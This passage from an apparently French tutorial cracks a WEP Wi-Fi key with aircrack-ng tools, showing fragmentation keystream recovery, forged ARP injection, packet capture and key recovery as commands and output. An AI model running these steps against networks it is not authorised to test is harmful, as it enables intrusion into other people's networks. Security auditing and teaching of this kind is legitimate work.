Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = BLABLA

0×0000: 0841 3a01 0016 3810 7484 0013 ce8a 8259 .A:…8.t……Y
0×0010: ffff ffff ffff 1000 0100 0000 2f23 a566 …………/#.f
0×0020: 8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398 …3,….e.y~.s.
0×0030: 42fc a81c e682 179c ac10 f1a3 d83e 3770 B…………>7p
0×0040: a3ff cb34 62e0 e232 3e17 8340 544b ee1d …4b..2>..@TK..
0×0050: f06c a543 3b51 05d6 bdb0 a10a a159 4fbd .l.C;Q…….YO.
0×0060: 2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6 $…X….r….).
0×0070: 6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9 b4..K……&V…
0×0080: 5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1 ].’.E:.6…|.?..
0×0090: 2813 b8e4 a24c 3bce dc98 2be2 6a79 c313 (….L;…+.jy..
0x00a0: f530 7596 4430 958d 2406 de88 7664 481f .0u.D0..$…vdH.
0x00b0: 7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949 |……o…….I
0x00c0: b12e 6507 cab2 6619 d6d8 9a1c a018 720c ..e…f…….r.
0x00d0: e004 2c4f 533b 1326 0c57 0006 2950 e468 ..,OS;.&.W..)P.h
— CUT —

Use this packet ? y

Saving chosen packet in replay_src-0726-115911.cap
11:59:20 Data packet found!
11:59:20 Sending fragmented packet
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 384 bytes of a keystream
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 1500 bytes of a keystream
11:59:20 Got RELAYED packet!!
Saving keystream in fragment-0726-115920.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d’injection. Packetforge-ng est là pour ca.
//arp définit le type d’attaque
//-y passe le fragment à utiliser généré par airplay
//-a adresse MAC de la cible (BSSID)
//-h adresse MAC de l’attaquant
//-k notre adresse ip suppossée
//-l adresse ip supposée du routeur
//-w permet d’écrire le packet d’injection final
bt ~ # packetforge-ng –arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap
Wrote packet to: alice.cap

//Essayons maintenant d’injecter des données histoire de voir si tout a fonctionné:

bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0
12:04:07 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
Saving ARP requests in replay_arp-0726-120407.cap
You should also start airodump-ng to capture replies.
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets…(500 pps)

Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes. Il faut parfois se ré-authentifier avant de lancer l’injection de donnée. Vous pouvez stopper l’injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:

// On sniffe l’interface sur laquelle nous avons travaillé:
bt ~ # airodump-ng -w capture –channel 11 wifi0

// Les datas ne bougent alors pas beaucoup. On injecte donc les données:
bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0

//Enfin, on lance, en parallèle à l’envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n’est pas grave si lorsque vous lancez le crack il n’y a pas encore assez d’IVs, il est reloadé régulièrement.

bt ~ # aircrack-ng capture-01.cap
Opening capture-01.cap
Read 121863 packets.

# BSSID ESSID Encryption

1 RESEAU-CRYPT2 No data – WEP or WPA
2 RESEAU-CRYPT3 No data – WEP or WPA
3 00:01:02:03:04:05 RESEAU-CRYPT WEP (33689 IVs)
4 RESEAU-CRYPT4 No data – WEP or WPA
5 RESEAU-CRYPT5 None (0.0.0.0)
6 RESEAU-CRYPT6 No data – WEP or WPA
7 RESEAU-CRYPT7 No data – WEP or WPA

Index number of target network ? 3

// On selectionne le ESSID sur lequel on a travaillé, et là magie:

bt ~ # Aircrack-ng 1.0 rc1 r1085

[00:00:03] Tested 1339440 keys (got 33677 IVs)

KB depth byte(vote)
0 1/ 2 2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)
1 0/ 1 A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)
2 0/ 1 FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)
3 0/ 1 BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)
4 0/ 2 3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)
5 0/ 1 A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)
6 1/ 2 16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)
7 0/ 2 7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)
8 0/ 1 75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)
9 0/ 1 F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)
10 17/ 10 E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)
11 0/ 2 AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)
12 0/ 1 A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)

KEY FOUND! [blabla]
Decrypted correctly: 100%

Si les suites air* ne vous sont pas familières, je vous conseille d’aller vous balader par ici:
http://linux.die.net/man/1/airmon-ng
http://linux.die.net/man/1/airodump-ng
http://linux.die.net/man/1/aireplay-ng
http://linux.die.net/man/1/packetforge-ng
http://linux.die.net/man/1/aircrack-ng